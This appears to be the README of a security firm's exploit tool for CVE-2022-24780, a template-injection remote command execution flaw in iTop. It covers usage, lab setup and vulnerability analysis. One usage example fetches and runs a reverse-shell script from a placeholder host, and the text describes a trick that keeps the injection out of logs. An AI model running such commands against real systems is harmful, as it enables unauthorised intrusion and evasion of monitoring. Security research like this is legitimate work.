# iTop RCE via SSTI - CVE-2022-24780 exploit
> iTop < 2.7.6 - (Authenticated) Remote command execution
Exploit for [CVE-2022-24780][CVE-2022-24780].
[[EDB-TODO](https://www.exploit-db.com/exploits/TODO)] [[PacketStorm](https://packetstormsecurity.com/files/167236/iTop-Remote-Command-Execution.html)] [[WLB-2022050075](https://cxsecurity.com/issue/WLB-2022050075)]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
**TL;DR**: install all `bundle install`
Example using gem:
gem install httpx docopt watir webdrivers
Example using gem:
gem install httpx docopt nokogiri
It is not recommended to use payloads with double quotes (`"`) nor backslashes (`\`) because the payload is injected into JSON.
## Docker deployment of the vulnerable software
**Warning**: this container is not suited for production usage!
Using `vbkunin/itop:2.7.4` - [source](https://github.com/vbkunin/itop-docker/tree/2.7.4) - [docker hub](https://hub.docker.com/layers/itop/vbkunin/itop/2.7.4/images/sha256-d2501b3a5f31a38c7a4edf9bddddb02bfc79542b7eceef5b6c6168ebba631048?context=explore)
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
- Target software: **iTop**
- Homepage: https://www.itophub.io/
- Vendor: https://www.combodo.com/itop
- Online demo: https://www.combodo.com/itop-access-to-the-demonstration
- Vulnerable version:
- 2.x branch: < 2.7.6
- 3.x branch: < 3.0.0 (eg. 3.0.0-beta-7312)
The vulnerability was found by [Markus KRELL](https://markus-krell.de/).
Analysis of the vulnerability by the discoverer:
- [iTop – Template Injection inside customer Portal](https://markus-krell.de/itop-template-injection-inside-customer-portal/)
ACCEIS does not promote or encourage any illegal activity, all content provided by this repository is meant for research, educational, and threat detection purpose only.
### The exploit
As a security auditor (or any other white hat role), on one hand you want to run an exploit script to verify the effective practical exploitability of the theoretical vulnerability based on the version number of the application you identified, but on the other hand you want it to be done properly without any destructive action so that the customer application is left in the same state as you first discovered it.
For example, this exploit occurs on the user profile page, so there is a form with information from the user that is already populated: first name, name, organization ID, email, phone, location ID, function, manager ID. For the attack to work, you just need to override the vulnerable fields and fill others with null values or random values if they are required. It is what the **light** flavor of the exploit is doing. But doing so you will destruct the actual information for that user, it's not problematic on a test environment however it is a real problem if you are on a production environnement. A black hat won't care about all that, but as a white hat we have to preserve the data. So the solution is to fetch the actual data and reuse it on our POST request.
On classical web applications, you often just have to directly craft a POST request with the right parameters targeting the vulnerable endpoint. Sometimes you need to handle session / cookies, redirections, some previous states that may be required, fetching some ID or anti-CSRF tokens but all of that remains very straightforward and can be achieved with pretty much all HTTP library in any language.
In order to retrieve the actual data, when the data in the form comes from:
- the **server response**, you just have to scrap the page and parse HTML ;
What the **light** flavor of the exploit does is connecting to the application, fetching the user profile form to retrieve all the values it can and using blank values for the phone number, location ID and function, then sending the exploit.
### The vulnerability
The discoverer of the vulnerability [CVE-2022-24780][CVE-2022-24780], [Markus KRELL](https://markus-krell.de/), wrote a detailed analysis blog article: [iTop – Template Injection inside customer Portal](https://markus-krell.de/itop-template-injection-inside-customer-portal/).
In short the vulnerability happens on user profile change. When the user submit the form to update its information it will send a huge JSON object containing various metadata for the backend but the user data to update is stored as XHTML in the JSON `formproperties.layout.content` sub-node. But Markus spotted in the [source code](https://github.com/Combodo/iTop/blob/473a49ab6bac9275a123155c6c80c1f763ff9f9a/datamodels/2.x/itop-portal-base/portal/src/Brick/UserProfileBrick.php#L221) that `formproperties.layout.type` could accept both XHTML or Twig. Of course when he saw Twig mentioned he immediately thought about potential SSTI. So he tried every fields in the content to identify a vulnerable one and found that the `data-field-id` and `data-field-flags` attributes are vulnerable. Then it is possible to use classical [Twig template injection payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig). Still, as a bonus he discovered that appending `|join(',')` to the expression would convert the resulting array into a string and by doing so avoid an entry into the logs of iTop to make the attack stealthier.